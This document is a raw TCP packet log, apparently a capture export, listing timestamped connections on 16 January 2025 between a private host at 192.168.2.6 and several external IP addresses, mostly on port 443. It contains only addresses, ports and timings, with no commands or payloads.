Jan 16, 2025 17:20:24.343651056 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.343656063 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.343679905 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.343698025 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.433943033 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.433967113 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.434077024 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.434104919 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.435148001 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.435167074 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.435193062 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.435200930 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.435219049 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.435241938 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.435568094 CET	49754	80	192.168.2.6	66.63.187.216
Jan 16, 2025 17:20:24.436218977 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.436230898 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.436279058 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.436284065 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.436953068 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.496895075 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.496918917 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.496989012 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.497030020 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.499461889 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.526293039 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.526348114 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.526372910 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.526385069 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.526427984 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.527268887 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.527298927 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.527343035 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.527347088 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.527362108 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.527429104 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.528156042 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.528173923 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.528232098 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.528237104 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.528911114 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.528928041 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.528975010 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.528980970 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.529016018 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.529037952 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.530081034 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.530101061 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.530147076 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.530150890 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.530167103 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.530188084 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.530956030 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.530978918 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.531002998 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.531007051 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.531034946 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.531053066 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.531718969 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.531737089 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.531793118 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.531797886 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.531894922 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.618345022 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.618395090 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.618458033 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.618484974 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.618521929 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.618540049 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.618541956 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.618551970 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.618568897 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.618592978 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.618598938 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.618623018 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.618642092 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.619232893 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.619249105 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.619303942 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.619311094 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.619616032 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.619633913 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.619662046 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.619668007 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.619688034 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.619719982 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.619813919 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.619827032 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.619868040 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.619874001 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.621484995 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.623533964 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.623548985 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.623610973 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.623615026 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.623635054 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.623651028 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.623692036 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.623697996 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.623733997 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.623924017 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.623944998 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.623990059 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.623995066 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.624202013 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.680270910 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.710824013 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.710843086 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.710891008 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.710900068 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.710922003 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.710964918 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.710971117 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.710980892 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:24.711033106 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.735193968 CET	49756	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:24.735212088 CET	443	49756	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:25.033368111 CET	443	49757	186.64.116.70	192.168.2.6
Jan 16, 2025 17:20:25.033835888 CET	49757	443	192.168.2.6	186.64.116.70
Jan 16, 2025 17:20:25.033853054 CET	443	49757	186.64.116.70	192.168.2.6
Jan 16, 2025 17:20:25.034965992 CET	443	49757	186.64.116.70	192.168.2.6
Jan 16, 2025 17:20:25.035104990 CET	49757	443	192.168.2.6	186.64.116.70
Jan 16, 2025 17:20:25.036561966 CET	49757	443	192.168.2.6	186.64.116.70
Jan 16, 2025 17:20:25.036638021 CET	443	49757	186.64.116.70	192.168.2.6
Jan 16, 2025 17:20:25.038342953 CET	49757	443	192.168.2.6	186.64.116.70
Jan 16, 2025 17:20:25.038912058 CET	443	49758	186.64.116.70	192.168.2.6
Jan 16, 2025 17:20:25.039216042 CET	49758	443	192.168.2.6	186.64.116.70
Jan 16, 2025 17:20:25.039241076 CET	443	49758	186.64.116.70	192.168.2.6
Jan 16, 2025 17:20:25.041249037 CET	443	49758	186.64.116.70	192.168.2.6
Jan 16, 2025 17:20:25.041311979 CET	49758	443	192.168.2.6	186.64.116.70
Jan 16, 2025 17:20:25.047146082 CET	49758	443	192.168.2.6	186.64.116.70
Jan 16, 2025 17:20:25.047241926 CET	443	49758	186.64.116.70	192.168.2.6
Jan 16, 2025 17:20:25.079339027 CET	443	49757	186.64.116.70	192.168.2.6
Jan 16, 2025 17:20:25.088903904 CET	49758	443	192.168.2.6	186.64.116.70
Jan 16, 2025 17:20:25.088922977 CET	443	49758	186.64.116.70	192.168.2.6
Jan 16, 2025 17:20:25.134747982 CET	49758	443	192.168.2.6	186.64.116.70
Jan 16, 2025 17:20:25.135111094 CET	49757	443	192.168.2.6	186.64.116.70
Jan 16, 2025 17:20:25.135127068 CET	443	49757	186.64.116.70	192.168.2.6
Jan 16, 2025 17:20:25.333601952 CET	49757	443	192.168.2.6	186.64.116.70
Jan 16, 2025 17:20:25.362679005 CET	443	49757	186.64.116.70	192.168.2.6
Jan 16, 2025 17:20:25.362781048 CET	443	49757	186.64.116.70	192.168.2.6
Jan 16, 2025 17:20:25.362929106 CET	49757	443	192.168.2.6	186.64.116.70
Jan 16, 2025 17:20:25.363296986 CET	49757	443	192.168.2.6	186.64.116.70
Jan 16, 2025 17:20:25.363320112 CET	443	49757	186.64.116.70	192.168.2.6
Jan 16, 2025 17:20:25.401417017 CET	49759	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:25.401468992 CET	443	49759	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:25.401540041 CET	49759	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:25.402945042 CET	49759	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:25.402961969 CET	443	49759	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:25.587694883 CET	49761	443	192.168.2.6	216.58.206.36
Jan 16, 2025 17:20:25.587749004 CET	443	49761	216.58.206.36	192.168.2.6
Jan 16, 2025 17:20:25.587946892 CET	49761	443	192.168.2.6	216.58.206.36
Jan 16, 2025 17:20:25.588100910 CET	49761	443	192.168.2.6	216.58.206.36
Jan 16, 2025 17:20:25.588119984 CET	443	49761	216.58.206.36	192.168.2.6
Jan 16, 2025 17:20:26.063119888 CET	443	49759	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:26.063402891 CET	49759	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:26.063422918 CET	443	49759	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:26.064424992 CET	443	49759	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:26.064573050 CET	49759	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:26.065602064 CET	49759	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:26.065675020 CET	443	49759	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:26.065690041 CET	49759	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:26.065762997 CET	49759	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:26.065762997 CET	49759	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:26.065774918 CET	443	49759	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:26.065788031 CET	49759	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:26.065911055 CET	49759	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:26.066121101 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:26.066180944 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:26.066266060 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:26.066482067 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:26.066497087 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:26.387717009 CET	443	49761	216.58.206.36	192.168.2.6
Jan 16, 2025 17:20:26.388108015 CET	49761	443	192.168.2.6	216.58.206.36
Jan 16, 2025 17:20:26.388130903 CET	443	49761	216.58.206.36	192.168.2.6
Jan 16, 2025 17:20:26.389195919 CET	443	49761	216.58.206.36	192.168.2.6
Jan 16, 2025 17:20:26.389293909 CET	49761	443	192.168.2.6	216.58.206.36
Jan 16, 2025 17:20:26.390367985 CET	49761	443	192.168.2.6	216.58.206.36
Jan 16, 2025 17:20:26.390455961 CET	443	49761	216.58.206.36	192.168.2.6
Jan 16, 2025 17:20:26.438159943 CET	49761	443	192.168.2.6	216.58.206.36
Jan 16, 2025 17:20:26.438173056 CET	443	49761	216.58.206.36	192.168.2.6
Jan 16, 2025 17:20:26.484399080 CET	49761	443	192.168.2.6	216.58.206.36
Jan 16, 2025 17:20:26.571381092 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:26.571667910 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:26.571698904 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:26.572731972 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:26.572798967 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:26.573942900 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:26.574012041 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:26.574163914 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:26.574178934 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:26.623550892 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:26.937494040 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:26.937555075 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:26.937580109 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:26.937623978 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:26.937648058 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:26.937685013 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:26.937757969 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:26.937808037 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:26.937829971 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:26.937848091 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:26.937853098 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:26.937884092 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:26.942126036 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:26.942166090 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:26.942218065 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:26.942228079 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:26.997137070 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.030322075 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.030601025 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.030680895 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.030689955 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.030752897 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.030802011 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.030807018 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.031122923 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.031161070 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.031164885 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.031450987 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.031497002 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.031501055 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.031778097 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.031797886 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.031837940 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.031841993 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.031876087 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.032121897 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.032345057 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.032388926 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.032392979 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.032651901 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.032689095 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.032692909 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.033162117 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.033202887 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.033206940 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.078712940 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.078721046 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.123495102 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.123528004 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.123547077 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.123557091 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.123605967 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.123868942 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.123989105 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.124027014 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.124031067 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.124345064 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.124370098 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.124389887 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.124393940 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.124427080 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.124480009 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.125374079 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.125422001 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.125425100 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.125463009 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.125499010 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.125546932 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.126316071 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.126343966 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.126378059 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.126382113 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.126401901 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.126456022 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.126497030 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.126501083 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.127280951 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.127342939 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.127346992 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.127377987 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.127460957 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.127501965 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.128166914 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.128213882 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.128304005 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.128360987 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.129098892 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.129159927 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.129163027 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.171144009 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.232614040 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.232629061 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.232717991 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.232732058 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.232779980 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.233073950 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.233114004 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.234041929 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.234075069 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.234087944 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.234092951 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.234119892 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.235024929 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.235060930 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.235069990 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.235074043 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.235088110 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.235101938 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.235130072 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.235133886 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.235245943 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.235968113 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.236001015 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.236007929 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.236011982 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.236036062 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.240207911 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.240250111 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.240259886 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.240263939 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.240272999 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.240293026 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.240297079 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.240309954 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.240313053 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.240350008 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.240361929 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.240365982 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.240374088 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.240389109 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.240407944 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.240411997 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.240418911 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.240446091 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.240467072 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.240479946 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.240479946 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.240485907 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.240510941 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.240577936 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.240657091 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.241600990 CET	49763	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.241612911 CET	443	49763	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.256819010 CET	49764	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.256856918 CET	443	49764	172.67.168.162	192.168.2.6
Jan 16, 2025 17:20:27.256912947 CET	49764	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.257255077 CET	49765	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:20:27.257306099 CET	443	49765	172.67.168.162	192.168.2.6
